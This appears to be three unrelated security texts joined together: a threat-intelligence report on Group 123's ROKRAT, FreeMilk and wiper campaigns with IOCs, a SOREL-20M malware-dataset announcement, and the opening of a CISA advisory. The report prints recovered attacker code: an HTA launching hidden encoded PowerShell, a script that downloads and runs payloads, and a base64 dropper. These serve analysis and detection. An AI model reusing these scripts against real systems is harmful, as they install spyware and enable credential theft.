In the early part of 2017, Group 123 started the "Evil New Year" campaign. In this campaign, the actors tried to fool victims by pretending the emails were from the Korean Ministry of Unification and that they offered Korean-specific analysis. This campaign began with a handful of spear phishing emails to South Korean targets and containing malicious attachments. Group 123 further attempted to entice victims to open the attachments by using common Hancom Hangul documents. Hancom's Hangul is a popular Office Suite used primarily in the Korean peninsula. The use of Hangul office documents has the advantage of being the norm for the Korean peninsula. If the attacker used Microsoft documents, it may have raised suspicions in the victim. Given the regional file format used, there is a chance that some security software suites may not handle them well, and this may have provided an evasion case for the attacker.
The documents sent to the targets were titled "Analysis of 'Northern New Year in 2017'" and used the official logo of the Korean Ministry of Unification. This is a simple choice for the actor to make, but it further shows their familiarity with the region. The document claimed to discuss the New Year's activities of North Korea, which would have been something that the victims in South Korea would be very interested in. This would have been particularly true for government targets, who we believe to be Group 123's target of choice.
This document was a decoy aimed to entice the user to open malicious documents embedded further down the page. The actor embedded two additional links, and the document urged the user to click on these links for more information about New Year's activities in North Korea. The first link was labeled as "Comparison of Major Tasks in '16 & '17", and the second link was identified as "Comparison between '16 & '17".
Upon opening these links, the user was presented with a further decoy Hangul document. This document was well written and further increases our confidence that we are dealing with a new Korean actor. These documents contained malicious OLE objects used to drop binaries.
This time, however, they contained malicious OLE (Object Link Embedded) objects. Initial analysis confirmed two similarly sized OLE object files within this document which appeared to be the same from an execution point of view. The two dropped binaries were stored and executed in this location during our analysis:
- C:\Users\ADMINI~1\AppData\Local\Temp\Hwp (2).exe
- C:\Users\ADMINI~1\AppData\Local\Temp\Hwp (3).exe
Initial analysis showed some sloppy cleaning up from Group 123, which we used later to determine that separate campaigns were the work of this same actor, as compilation artifacts remained within the binaries:
- e:\Happy\Work\Source\version 12\T+M\Result\DocPrint.pdb
The second stage of the dropped binaries was used to execute wscript.exe while injecting shellcode into this process. The shellcode is embedded within the resource 'BIN' and is used to unpack another PE32 binary and use wscript.exe to execute it. To do this, Group 123 uses a well-known technique that harnesses VirtualAllocEx(), WriteProcessMemory(), and CreateRemoteThread() Windows API calls.
The new PE32 unpacked from the shellcode is an initial reconnaissance malware that is used to communicate with the C2 infrastructure to obtain the final payload. The information this malware collected included the following:
- The computer name
- The username
- The execution path of the sample
- The BIOS model
- A randomly-generated ID to uniquely identify the system
Group 123 utilized this method to ensure their victim was (a) someone they wanted to target further and (b) someone they could infect further based on the information obtained from the reconnaissance phase.
Further network analysis showed that the binary attempted to connect to the following URLs:
- www[.]kgls[.]or[.]kr/news2/news_dir/index.php
- www[.]kgls[.]or[.]kr/news2/news_dir/02BC6B26_put.jpg
Korean Government Legal Services (KGLS) is a legitimate Korean government body that manages Korean government legal affairs. By compromising the KGLS, the attacker gained a trusted platform from which to execute an attack.
The initial network connection is to 'index.php'. This connection transmits the information gathered during the reconnaissance phase. The attacker uses this information to then determine the specific filename (based on the random ID) to serve to the infected victim. In our case, this was 02BC6B26 - this meant a file "02BC6B26_put.jpg" was created for us on the attackers C2. This file is then dropped and renamed 'officepatch.exe' on the victim's machine. Because the attacker was careful about who they attacked, we were unable to obtain this file during our analysis.
During our investigation, we were able to identify additional Command and Control infrastructure used by this actor. Four C2s were observed, based in the following countries:
- 3 C2 in South Korea
- 1 C2 in the Netherlands
### March 2017: "Are You Happy?" Campaign
In March 2017, Group 123 compiled a disk wiper. The malware contains one function; the purpose is to open the drive of the infected system (\\.\PhysicalDrive0) and write the following data to the MBR:
You can see the "Are you Happy?" string in the written buffer. After writing to the MBR, the malware reboots the machine with the following command: `c:\windows\system32\shutdown /r /t 1`. After the reboot, the MBR displays the following string to the user. The link to the other campaigns was the following PDB path:
- D:\HighSchool\version 13\VC2008(Version15)\T+M\T+M\TMProject\Release\ErasePartition.pdb
As you can see, it perfectly matches the ROKRAT PDB. This wiper is a ROKRAT module named ERSP.enc. We assume that ERSP means ERaSePartition. This module can be downloaded and executed on demand by Group 123. This sample is interesting considering the attack in December 2014 against a Korean power plant where the message that was displayed by the wiper was "Who Am I?".
### May 2017: "FreeMilk" Campaign
This campaign targeted non-Korean financial institutions, but unlike the other campaigns, this one does not use HWP documents. It instead uses Office documents. This change is because Group 123 did not target South Korea during this campaign, and Microsoft Office is standard in the rest of the world.
#### Infection Vectors
The attackers exploited CVE-2017-0199 in order to download and execute a malicious HTA document inside of Microsoft Office. The URL used can be found in the embedded OLE object:
- hxxp://old[.]jrchina[.]com/btob_asiana/udel_calcel.php?fdid=[base64_data]
Here is the source code of the downloaded HTA document:
```html
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta content="text/html; charset=utf-8" http-equiv="Content-Type" />
<title>Bonjour</title>
<script language="VBScript">
Set owFrClN0giJ = CreateObject("Wscript.Shell")
Set v1ymUkaljYF = CreateObject("Scripting.FileSystemObject")
If v1ymUkaljYF.FileExists(owFrClN0giJ.ExpandEnvironmentStrings("%PSModulePath%") +
"..\powershell.exe") Then
owFrClN0giJ.Run "powershell -nop -windowstyle hidden -executionpolicy bypass -
encodedcommand JABjAD0AbgBlAHcQB...redacted...H0AIAA=" ,0
owFrClN0giJ.Run "cmd /c echo hta>%tmp%\webbrowser1094826604.tmp", 0
End If
Self.Close
</script>
<hta:application
id="oHTA"
applicationname="Bonjour"
application="yes"
>
</head>
</html>
```
Once decoded using the base64 algorithm, we are able to read the final payload:
```powershell
$c=new-object System.Net.WebClient
$t =$env:temp
$t1=$t+"\\alitmp0131.jpg"
$t2=$t+"\\alitmp0132.jpg"
$t3=$t+"\\alitmp0133.js"
try
{
echo $c.DownloadFile( "hxxp://old[.]jrchina[.]com/btob_asiana/appach01.jpg",$t1)
$c.DownloadFile( "hxxp://old[.]jrchina[.]com/btob_asiana/appach02.jpg",$t2)
$c.DownloadFile( "hxxp://old[.]jrchina[.]com/btob_asiana/udel_ok.ipp",$t3)
wscript.exe $t3
}
catch
{
}
```
The purpose of this script is to download and execute a Windows script and two encoded payloads. The script is used to decode and execute the following payloads:
- Appach01.jpg (renamed: Windows-KB275122-x86.exe) is a Freenki sample.
- Appach01.jpg (renamed: Windows-KB271854-x86.exe) is a PoohMilk sample.
#### PoohMilk Analysis
The PoohMilk sample is designed to perform two actions:
- Create persistence to execute the Freenki sample at the next reboot.
- Check specific files on the infected machine.
The first action is to create a registry key in order to execute the Windows-KB275122-x86.exe file previously downloaded. The file is executed with the argument: "help". Here is the registry creation:
The registry location where persistence is achieved is: `HKCU\Software\Microsoft\Windows\CurrentVersion\Run\Windows Update`. At the next reboot, the malware will be executed.
The second action is to check if the file "wsatra.tmp" exists in the temporary directory of the current user. If this file exists, the content is read in order to obtain a path to find a second file with the LNK (link) extension. The LNK file is finally used to identify a third file: a ZIP file. The file will be inflated in order to retrieve a RTF document; this document will be displayed to the infected user by executing Wordpad.
Here is the PDB path from the PoohMilk sample:
- E:\BIG_POOH\Project\milk\Release\milk.pdb
#### Freenki Sample
The purpose of Freenki is to collect information on the infected system and to download a third executable. This sample can be executed with three different arguments:
- "Help": the value configured by PoohMilk. In this context, the main function is executed.
- "Console": with the argument, a persistence is configured, and the malware will be executed at the next reboot (`HKCU\Software\Microsoft\Windows\CurrentVersion\Run\runsample`).
- "Sample": with this argument, the malware executes the console command followed by the help command.
The information collected is performed using WMI queries. Additionally, the malware lists the running processes via the Microsoft Windows API. The malware uses obfuscation in order to hide strings such as URL or User-Agent; the algorithm is based on bitwise (SUB 0x0F XOR 0x21). Here is the decoded data:
- hxxp://old[.]jrchina[.]com/btob_asiana/udel_confirm.php
- Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; Tablet PC 2.0; .NET4.0E; InfoPath.3)
The downloaded third payload is obfuscated using the same technique. The file is a fake image starting with "PNGF".
### November 2017: "North Korean Human Rights" Campaign
In November 2017, Talos observed the latest Group 123 campaign of the year, which included a new version of ROKRAT being used in the latest wave of attacks. Group 123 again used one of their main calling cards, the malicious HWP document. This time, Group 123 used a document containing information in relation to a meeting held on 1st November in Seoul, South Korea. This document was alleged to have been written by a legal representative claiming to be representing the "Citizens' Alliance For North Korean Human Rights And Reunification Of Korean Peninsula". Group 123 once again uses information related to the Korean unification and now are claiming to highlight concerns related to human rights issues.
The document brought Talos a new gift - a new version of ROKRAT. Following on with the normal Group 123 activity, the document was written in perfect Korean text and dialect again suggesting the origin of this group is from the Korean peninsula.
Further analysis of the document text allowed us to understand the context. The document mentions 'Community of North Korean human rights and unification' with the lawyer claiming to be part of the "Citizen's Alliance for North Korean Human Rights and North-South unification". The main purpose of this document was an attempt to arrange a meeting to discuss items related to "North Korean Human Rights Act" and "Enactment of a Law" which was passed in 2016 in South Korea. We believe that the document was attempting to target stakeholders within the '올인통' community in an attempt to entice them to join the discussion to work on additional ideas related to these activities. The meeting was due to take place on November 1, 2017, and this document was trying to garner additional interest prior to the meeting.
Once again, Group 123 leveraged the use of OLE objects within the HWP document. Analysis starts with a zlib decompression (a standard action of HWP documents), and we're able to recover the following script:
```vbscript
const strEncode =
"TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA6AAAA
DIM outFile
DIM base64Decoded
DIM shell_obj
SET shell_obj = CreateObject("WScript.Shell")
DIM fso
SET fso = CreateObject("Scripting.FileSystemObject")
outFile = "c:\ProgramData\HncModuleUpdate.exe"
base64Decoded = decodeBase64(strEncode)
IF NOT(fso.FileExists(outFile)) then
writeBytes outFile, base64Decoded
shell_obj.run outFile
END IF
WScript.Quit()
private function decodeBase64(base64)
DIM DM, EL
SET DM = CreateObject("Microsoft.XMLDOM")
SET EL = DM.createElement("tmp")
EL.DataType = "bin.base64"
EL.Text = base64
decodeBase64 = EL.NodeTypedValue
end function
private Sub writeBytes(file, bytes)
DIM binaryStream
SET binaryStream = CreateObject("ADODB.Stream")
binaryStream.Type = 1
binaryStream.Open
binaryStream.Write bytes
binaryStream.SaveToFile file, 1
End Sub
```
This script is executed and is used to decode a static base64 string within the strEncode variable. Using base64 encoding, the decoded binary is stored as HncModuleUpdate.exe and is then executed. This is the ROKRAT dropper. Talos suspects the filename may have been selected to make it appear within running processes as a potential Hancom updater.
The dropper is used to extract a new resource named SBS. This specific resource contains malicious shellcode used by the malware. Additionally, we see a cmd.exe process launched and used for process injection using the VirtualAlloc(), WriteProcessMemory(), and CreateRemoteThread() Windows APIs, as with the first finding of ROKRAT, they continue to use similar Windows APIs.
These execution steps allow the launch of the new ROKRAT variant by decoding the PE binary and injecting it into the cmd.exe process. One of Group 123's oddities in this campaign was to drop the following picture as a decoy image to the user. This image shows various publicly available images which look to be related to the Korean 'Independence Movement' and appear to be related to the Korean war.
We began performing further in-depth analysis on this new version of ROKRAT, and this is where we started to notice some similarities with Group 123's "Evil New Years" campaign. The similarities are discussed later in this paper.
This ROKRAT variant contained anti-sandbox techniques. This is performed by checking if the following libraries are loaded on the victim machine:
- SbieDll.dll (sandboxie library)
- Dbghelp.dll (Microsoft debugging tools)
- Api_log.dll (threatAnalyzer / GFI SandBox)
- Dir_watch.dll (threatAnalyzer / GFI SandBox)
We were able to uncover some other techniques used by this variant of ROKRAT to make analysis difficult. Group 123 used an anti-debugging technique related to NOP (No Operation).
This version of ROKRAT came with a Browser Stealer mechanism which was similar, with a few modifications, to that used in the FreeMilk campaign using Freenki malware in 2016. Group 123 continued their use of Cloud platforms with this campaign, this time leveraging pCloud, Dropbox, Box, and Yandex.
Here is the PDB of the sample used during this campaign:
- d:\HighSchool\version 13\2ndBD\T+M\T+M\Result\DocPrint.pdb
### January 2018: "Evil New Year 2018" Campaign
As we observed at the beginning of 2017, Group 123 started a campaign corresponding with the new year in 2018. This campaign started on the 2nd of January. The infection vector was a malicious HWP document. This decoy document is an analysis of the 2018 New Year speech made by the leader of North Korea. The approach is exactly the same as what was seen in 2017 using a new decoy document. This document was alleged to have been written by the Ministry of Reunification as demonstrated by the logo in the top left.
Similar to the "Golden Time" campaign, this document exploits an EPS vulnerability in order to download and execute shellcode located on a compromised website:
- hxxp://60chicken[.]co[.]kr/wysiwyg/PEG_temp/logo1.png
The fake image usage is a common pattern for this group. This image contains shellcode used to decode the embedded final payload: ROKRAT. This ROKRAT variant is loaded from memory. It's a fileless version of ROKRAT. This behavior shows that Group 123 is constantly evolving to avoid detection. As usual, the ROKRAT sample uses cloud providers to communicate with the operator, this time leveraging Yandex, pCloud, Dropbox, and Box.
## Links Between Campaigns
### Code Sharing
Talos has identified that Group 123 shares code between different malware. Several features are shared in the samples mentioned in this article; however, we will cover only two in this article: the reconnaissance phase and the browser stealer.
#### Reconnaissance Phase
The ROKRAT samples used during the two "Evil New Year" and the "North Korean Human Rights" campaigns contained a reconnaissance phase. In the "Evil New Year" campaign, the payload was split into two parts; the first part contained the reconnaissance code. In the other campaign, the reconnaissance phase was directly included in the main payload. This code is the same.
The malware uses the following registry key to get the machine type:
`HKLM\System\CurrentControlSet\Services\mssmbios\Data\SMBiosData`. The "System manufacturer" value is used to identify the type of machine. The code appears to be based on a forum post (rohitab.com) describing the use of the Win32 APIs used. The source code only considers the following machine types:
- default: lpString = "(Other)"; break;
- case 0x02: lpString = "(Unknown)"; break;
- case 0x03: lpString = "(Desktop)"; break;
- case 0x04: lpString = "(Low Profile Desktop)"; break;
- case 0x06: lpString = "(Mini Tower)"; break;
- case 0x07: lpString = "(Tower)"; break;
- case 0x08: lpString = "(Portable)"; break;
- case 0x09: lpString = "(Laptop)"; break;
- case 0x0A: lpString = "(Notebook)"; break;
- case 0x0E: lpString = "(Sub Notebook)"; break;
The string format - with the () - and the considering types are exactly the same as those used in the ROKRAT samples. It's interesting to note that this reconnaissance phase was not included in the ROKRAT variant used during the "Golden Time" campaign.
#### Browser Stealer
For the first time, the ROKRAT sample used during the "North Korean Human Rights" campaign contained a browser credentials stealer. The code used to perform this task is the same as that found within a Freenki sample deployed in 2016. The malware is able to extract the stored passwords from Internet Explorer, Chrome, and Firefox. For Chrome and Firefox, the malware queries the sqlite database containing the URL, username, and password. Additionally, they support the Microsoft Vault mechanism. Vault was implemented in Windows 7; it contains any sensitive data (like the credentials) of Internet Explorer.
### PDB Paths
We can clearly identify a pattern in the PDB naming convention of all the binaries mentioned in this article.
**ROKRAT:**
- e:\Happy\Work\Source\version 12\T+M\Result\DocPrint.pdb (from the "Evil New Year" campaign)
- d:\HighSchool\version 13\2ndBD\T+M\T+M\Result\DocPrint.pdb (from the "North Korean Human Rights" campaign)
- D:\HighSchool\version 13\First-Dragon(VS2015)\Sample\Release\DogCall.pdb (ROKRAT Sample from an unidentified campaign from June)
**Wiper:**
- D:\HighSchool\version 13\VC2008(Version15)\T+M\T+M\TMProject\Release\ErasePartition.pdb (From the "Are You Happy?" campaign)
## Conclusion
South Korea is becoming an important target for malicious actors, and the techniques used are becoming specific to the region (for example: use of native language to try and ensure the targets feel that the information, document, or email being sent to them has added legitimacy). In a specific campaign, this actor took time to compromise multiple legitimate Korean platforms including Yonsei and the KGLS in order to forge the spear phishing campaign or to host the command and control. This approach is not common with less advanced actors and demonstrates a high level of maturity and knowledge of the Korean region.
However, Group 123's activities are not limited to South Korea. For international targets, they are able to switch to a more standard attack vector such as using Microsoft Office documents as opposed to the specific HWP documents used when targeting victims located in Korea. Group 123 does not hesitate to use public exploits and scripting languages to drop and execute malicious payloads. We can notice that this group uses compromised legitimate websites (mainly Wordpress) and cloud platforms to communicate with the infected systems. This approach makes it difficult to detect communications through analysis of these network flows. Even if the arsenal of this actor is diverse, we have identified some patterns, copy-paste code from various public repositories, and similarities between the different pieces of code. In addition to the Remote Administration Tools, we identified a wiper. We conclude that this group was involved in a campaign of intelligence gathering and finally attempted destruction.
With our current knowledge of this actor, we predict that they will not disappear anytime soon and will continue to be active during the coming years. Group 123 is constantly evolving, as the new fileless capability that was added to ROKRAT demonstrates. We also believe their target profile may change, but for now, it will mostly focus on Korean peninsula targets; however, as explained, their capabilities will likely continue to evolve over time as they further refine their TTPs.
## IOCs
**"Golden Time" Campaign:**
- Maldoc #1 sha256: 7d163e36f47ec56c9fe08d758a0770f1778fa30af68f39aac80441a3f037761e
- Maldoc #2 sha256: 5441f45df22af63498c63a49aae82065086964f9067cfa75987951831017bd4f
- ROKRAT #1: cd166565ce09ef410c5bba40bad0b49441af6cfb48772e7e4a9de3d646b4851c
- ROKRAT #2: 051463a14767c6477b6dacd639f30a8a5b9e126ff31532b58fc29c8364604d00
**Network:**
- Malicious URLs:
- hxxp://discgolfglow[.]com/wp-content/plugins/maintenance/images/worker.jpg
- hxxp://acddesigns[.]com[.]au/clients/ACPRCM/kingstone.jpg
- Safe URLs:
- hxxps://www[.]amazon[.]com/Men-War-PC/dp/B001QZGVEC/EsoftTeam/watchcom.jpg
- hxxp://www[.]hulu[.]com/watch/559035/episode3.mp4
**"Evil New Year" Campaign:**
- Maldoc sha256: 281828d6f5bd377f91c6283c34896d0483b08ac2167d34e981fbea871893c919
- Dropped #1: 95192de1f3239d5c0a7075627cf9845c91fd397796383185f61dde893989c08a
- Dropped #2: 7ebc9a1fd93525fc42277efbccecf5a0470a0affbc4cf6c3934933c4c1959eb1
- Dropped #3: 6c372f29615ce8ae2cdf257e9f2617870c74b321651e9219ea16847467f51c9f
- Dropped #4: 19e4c45c0cd992564532b89a4dc1f35c769133167dc20e40b2a41fccb881277b
- Dropped #5: 3a0fc4cc145eafe20129e9c53aac424e429597a58682605128b3656c3ab0a409
- Dropped #6: 7d8008028488edd26e665a3d4f70576cc02c237fffe5b8493842def528d6a1d8
**Unpacked:**
- Unpacked #1: 7e810cb159fab5baccee7e72708d97433d92ef6d3ef7d8b6926c2df481ccac2f
- Unpacked #2: 21b098d721ea88bf237c08cdb5c619aa435046d9143bd4a2c4ec463dcf275cbe
- Unpacked #3: 761454dafba7e191587735c0dc5c6c8ab5b1fb87a0fa44bd046e8495a27850c7
- Unpacked #4: 3d442c4457cf921b7a335c0d7276bea9472976dc31af94ea0e604e466596b4e8
- Unpacked #5: 930fce7272ede29833abbfb5df4e32eee9f15443542434d7a8363f7a7b2d1f00
- Unpacked #6: 4b20883386665bd205ac50f34f7b6293747fd720d602e2bb3c270837a21291b4
- Unpacked #7: f080f019073654acbe6b7ab735d3fd21f8942352895890d7e8b27fa488887d08
**Network:**
- www[.]imuz[.]com/admin/data/bbs/review2/board/index.php
- www[.]imuz[.]com/admin/data/bbs/review2/board/123.php
- www[.]imuz[.]com/admin/data/bbs/review2/board/02BC6B26_put.jpg (where 02BC6B26 is randomly generated)
- www[.]wildrush[.]co[.]kr/bbs/data/image/work/webproxy.php
- www[.]wildrush[.]co[.]kr/bbs/data/image/work/02BC6B26_put.jpg (where 02BC6B26 is randomly generated)
- www[.]belasting-telefoon[.]nl//images/banners/temp/index.php
- www[.]belasting-telefoon[.]nl//images/banners/temp/02BC6B26_put.jpg (where 02BC6B26 is randomly generated)
- www[.]kgls[.]or[.]kr/news2/news_dir/index.php
- www[.]kgls[.]or[.]kr/news2/news_dir/02BC6B26_put.jpg (where 02BC6B26 is randomly generated)
**"Are You Happy?" Campaign:**
- Wiper sha256: 6332c97c76d2da7101ad05f501dc1188ac22ce29e91dab6d0c034c4a90b615bd
**"FreeMilk" Campaign:**
- Office sha256: f1419cde4dd4e1785d6ec6d33afb413e938f6aece2e8d55cf6328a9d2ac3c2d0
- HTA sha256: a585849d02c94e93022c5257b162f74c0cdf6144ad82dd7cf7ac700cbfedd84f
- JS sha256: 1893af524edea4541c317df288adbf17ae4fcc3a30d403331eae541281c71a3
- PoohMilk sha256: 35273d6c25665a19ac14d469e1436223202be655ee19b5b247cb1afef626c9f2
- Freenki sha256: 7f35521cdbaa4e86143656ff9c52cef8d1e5e5f8245860c205364138f82c54df
- Freenki 2016: 99c1b4887d96cb94f32b280c1039b3a7e39ad996859ffa6dd011cf3cca4f1ba5
**Network:**
- hxxp://old[.]jrchina[.]com/btob_asiana/udel_calcel.php?fdid=[base64_data]
- hxxp://old[.]jrchina[.]com/btob_asiana/appach01.jpg
- hxxp://old[.]jrchina[.]com/btob_asiana/appach02.jpg
- hxxp://old[.]jrchina[.]com/btob_asiana/udel_ok.ipp
- hxxp://old[.]jrchina[.]com/btob_asiana/udel_confirm.php
**"North Korean Human Rights" Campaign:**
- Maldoc sha256: 171e26822421f7ed2e34cc092eaeba8a504b5d576c7fd54aa6975c2e2db0f824
- Dropper #1: a29b07a6fe5d7ce3147dd7ef1d7d18df16e347f37282c43139d53cce25ae7037
- Dropper #2: eb6d25e08b2b32a736b57f8df22db6d03dc82f16da554f4e8bb67120eacb1d14
- Dropper #3: 9b383ebc1c592d5556fec9d513223d4f99a5061591671db560faf742dd68493f
- ROKRAT: b3de3f9309b2f320738772353eb724a0782a1fc2c912483c036c303389307e2e
**"Evil New Year 2018" Campaign:**
- Maldoc sha256: f068196d2c492b49e4aae4312c140e9a6c8c61a33f61ea35d74f4a26ef263ead
- PNG: bdd48dbed10f74f234ed38908756b5c3ae3c79d014ecf991e31b36d957d9c950
- ROKRAT: 3f7827bf26150ec26c61d8dbf43cdb8824e320298e7b362d79d7225ab3d655b1
## References
- http://blog.talosintelligence.com/2017/02/korean-maldoc.html
- http://blog.talosintelligence.com/2017/04/introducing-rokrat.html
- http://blog.talosintelligence.com/2017/11/ROKRAT-Reloaded.html
|
# Sophos-ReversingLabs (SOREL) 20 Million Sample Malware Dataset
The Sophos AI team is excited to announce the release of SOREL-20M (Sophos-ReversingLabs – 20 million) – a production-scale dataset containing metadata, labels, and features for 20 million Windows Portable Executable files, including 10 million disarmed malware samples available for download for the purpose of research on feature extraction to drive industry-wide improvements in security. This dataset is the first production scale malware research dataset available to the general public, with a curated and labeled set of samples and security-relevant metadata, which we anticipate will further accelerate research for malware detection via machine learning.
## Why are we releasing this data?
Data is the foundation upon which machine learning models are built. Standardized datasets are the way in which new features and models are developed, tested, and compared to each other. The development and ease of access for standardized datasets such as the MNIST digits dataset, and later, large scale, realistic datasets, such as the ImageNet dataset and the Pascal Visual Object Classification dataset, sparked an explosion in machine learning for image recognition that culminated in the super-human models available today.
Unlike image recognition or natural language processing, the area of security has seen much less activity and a relatively slower rate of improvement. A major reason for this is simply the lack of a standard, large-scale, realistic data set that can be easily obtained and tested by a wide range of users, from independent researchers to academic labs to large corporate groups. Obtaining a large number of curated, labeled samples is both expensive and challenging, and sharing data sets is often difficult due to issues around intellectual property and the risk of providing malicious software to unknown third parties. As a consequence, most published papers on malware detection work on private, internal datasets, with results that cannot be directly compared to each other.
The EMBER dataset was an initial step to address this problem; however, the Ember dataset is relatively small (approximately 1 million files) and contains only a single label per sample (benign/malware), limiting the range of experimentation that can be performed with it. It also includes no raw samples, meaning users must rely on the features pre-extracted by the developers of the dataset. By contrast, our dataset contains complete – albeit disarmed – samples for malware, malware/benignware labels, as well as the number of positive results across ReversingLabs scanners and tag counts derived from detection names. We also provide dumps of metadata extracted via the `pefile` library for all samples.
## What’s in the dataset?
The SoReL-20M dataset, developed in collaboration between Sophos AI and ReversingLabs, is intended to further accelerate research in malware detection via machine learning. SoReL 20M is a production-scale dataset covering 20 million samples, including 10 million disarmed malware samples available for download, as well as extracted features and metadata for an additional 10 million benign samples. In practice, we find that 20 million samples is sufficient to obtain a good rank-ordering of models, allowing us to obtain fair and stable comparisons between models. These samples are divided into training, validation, and testing splits on the basis of first-seen time. For each sample, we provide:
1. Features extracted as per the EMBER 2.0 dataset
2. Labels obtained by aggregating both external and Sophos internal sources into a single, high-quality label
3. Sample-per-sample detection metadata, including total number of positive results on ReversingLabs engines, and tags describing important attributes of the samples obtained as per our paper “Automatic Malware Description via Attribute Tagging and Similarity Embedding”
4. Complete dumps of file metadata obtained from the pefile library using the dump_dict() method
5. For malware samples, we provide complete binaries, with the OptionalHeader.Subsystem flag and the FileHeader.Machine header value both set to 0 to prevent accidental execution.
To accompany this data, we are also releasing a set of pre-trained PyTorch models and LightGBM models trained on this data as baselines, as well as the scripts used to load and iterate over the data, and load, train, and test the models. The PyTorch-based deep learning models are based on the ALOHA architecture; LightGBM parameters were selected using HyperOpt library. Code used to train the models, as well as links to the data, are all available at GitHub.
## Are you concerned that attackers could use this dataset to cause harm?
The malware we’re releasing is “disarmed” so that it will not execute. This means it would take knowledge, skill, and time to reconstitute the samples and get them to actually run. That said, we recognize that there is at least some possibility that a skilled attacker could learn techniques from these samples or use samples from the dataset to assemble attack tools to use as part of their malicious activities. However, in reality, there are already many other sources attackers could leverage to gain access to malware information and samples that are easier, faster, and more cost-effective to use. In other words, this disarmed sample set will have much more value to researchers looking to improve and develop their independent defenses than it will have to attackers.
There is a consensus in the cybersecurity industry that responsible offensive engagements make us all stronger, and the public release of attack tools facilitates that. Mature projects like ‘afl’ support vulnerability identification, tools like sqlmap and Metasploit provide adversaries means to gain entry into and privilege escalation within networks, tools like MimiKatz support lateral movement, and tools like Powershell Empire support persistence, data exfiltration, and other capabilities. Responsible availability of these tools gives defenders more information about what they are defending against, which leads to more effective defenses. Open knowledge and understanding about cyber threats also leads to more predictive cybersecurity. Defenders will be able to anticipate what attackers are doing and be better prepared for their next move.
The malware binaries we’re releasing have been in the wild for some time. Even if they were operational, we expect that they would be configured to reach out to command and control infrastructure that has already been dismantled. We also expect that the vast majority of the samples will be readily recognized by anti-virus vendors. We are publishing metadata with the samples, including hash values, that will enable anti-virus vendors to recognize the samples if they don’t already. We also expect that these samples will quickly become very well-recognized as researchers have the opportunity to work with them.
Finally, we anticipate that the public benefits of releasing our dataset will include significant improvements in malware recognition and defense. We’re offering an opportunity for researchers to make their results commensurable. We’ve seen what this can do for a field in the way computer vision specifically and deep learning more generally has been revolutionized by the ImageNet benchmark image dataset. And, as with colleagues responsible for releasing related datasets, we’re breaking the ice on releasing this kind of data to the community, to promote a culture of benchmark creation that we hope will go beyond what we’re doing here.
## Detailed corpus statistics
All data is available via AWS S3 at s3://sorel-20m/09-DEC-2020 – baseline pretrained models and results are available in the ‘baselines’ subdirectory; pre-extracted features and metadata are in the ‘processed-data’ subdirectory, and the raw (defused) binaries – compressed using the python zlib library – are contained in the ‘binaries’ subdirectory.
The SQLite database schema for the meta.db file within the ‘processed-data’ subdirectory is as follows:
```sql
CREATE TABLE meta (
sha256 text primary key,
is_malware SMALLINT,
rl_fs_t DOUBLE,
rl_ls_const_positives INTEGER,
adware INTEGER,
flooder INTEGER,
ransomware INTEGER,
dropper INTEGER,
spyware INTEGER,
packed INTEGER,
crypto_miner INTEGER,
file_infector INTEGER,
installer INTEGER,
worm INTEGER,
downloader INTEGER
);
```
- `sha256` – the sha256 of the unmodified file (note that all provided files are “disarmed”)
- `is_malware` – a value of 0 indicates benignware, 1 indicates malware
- `rl_fs_t` – the first time (in Unix epoch time) a given sample (unique per sha256) was seen in the ReversingLabs feed
- `rl_ls_const_positives` – the total number of ‘positive’ (i.e. malware) results from all detectors at the most recent time that the samples was seen
- `adware`, `flooder`, `ransomware`, `dropper`, `spyware`, `packed`, `crypto_miner`, `file_infector`, `installer`, `worm`, `downloader` – the number of tokens appearing in detection names that related to the specified tag; a value >0 indicates a positive result, larger values may indicate higher certainty in the tag
Frequency of malware and tags are given below; note that the dataset is approximately balanced with respect to malware, but otherwise rather imbalanced. There are 19,724,997 samples in the data, broken down as follows:
| Is_malware | Yes | No |
|------------|----------|----------|
| | 9,762,177| 9,962,820|
| Adware | 2,411,262| 17,313,735|
| Flooder | 101,595 | 19,623,402|
| Ransomware | 1,152,354| 18,572,643|
| Dropper | 3,577,111| 16,147,886|
| Spyware | 4,550,007| 15,174,990|
| Packed | 3,726,059| 15,998,938|
| Crypto_miner| 339,565 | 19,385,432|
| File_infector| 3,317,569| 16,407,428|
| Installer | 1,018,880| 18,706,117|
| Worm | 3,414,132| 16,310,865|
| Downloader | 2,565,838| 17,159,159|
For per-split tag distributions, see the plots at the end of this post.
We provide metadata in LMDB databases (key-value stores) indexed by sample sha256 and containing compressed json files. Each malware sample – prior to modification – was loaded via the pefile library and the `dump_dict()` method called on the result. When the pefile module failed to parse the sample, no value was entered into the LMDB database. We also provide EMBER (v2) features, stored as zlib-compressed and msgpack-serialized numpy arrays. As with the metadata, when EMBER failed to parse a PE file, there is no associated sha256 key or value in the LMDB database.
## Conclusion
SoReL-20M is the first production scale, curated, labeled dataset for use in machine learning research for malware detection, released by the Sophos AI group. We hope that it will further accelerate research on models and features for malware detection, enable fair comparisons of approaches across labs and researchers, and ultimately improve the ability and agility of defenders to offer protections against attackers.
|
# TLP:CLEAR
**Co-Authored by:** CISA, FBI, CNMF
**Product ID:** AA23-250A
**Date:** September 7, 2023
## Multiple Nation-State Threat Actors Exploit CVE-2022-47966 and CVE-2022-42475
### SUMMARY
The Cybersecurity and Infrastructure Security Agency (CISA), Federal Bureau of Investigation (FBI), and Cyber National Mission Force (CNMF) identified the presence of indicators of compromise (IOCs) at an Aeronautical Sector organization as early as January 2023. Analysts confirmed that nation-state advanced persistent threat (APT) actors exploited CVE-2022-47966 to gain unauthorized access to a public-facing application (Zoho ManageEngine ServiceDesk Plus), establish persistence, and move laterally through the network. This vulnerability allows for remote code execution on the ManageEngine application. APT actors were also observed exploiting CVE-2022-42475 to establish presence on the organization’s firewall device. CISA and co-sealers are releasing this joint Cybersecurity Advisory (CSA) to provide network defenders with tactics, techniques, and procedures (TTPs), IOCs, and methods to detect and protect against similar exploitation.
### Actions to take today to mitigate malicious cyber activity:
- Patch all systems for known exploited vulnerabilities (KEVs), including firewall security appliances.
- Monitor for unauthorized use of remote access software using endpoint detection tools.
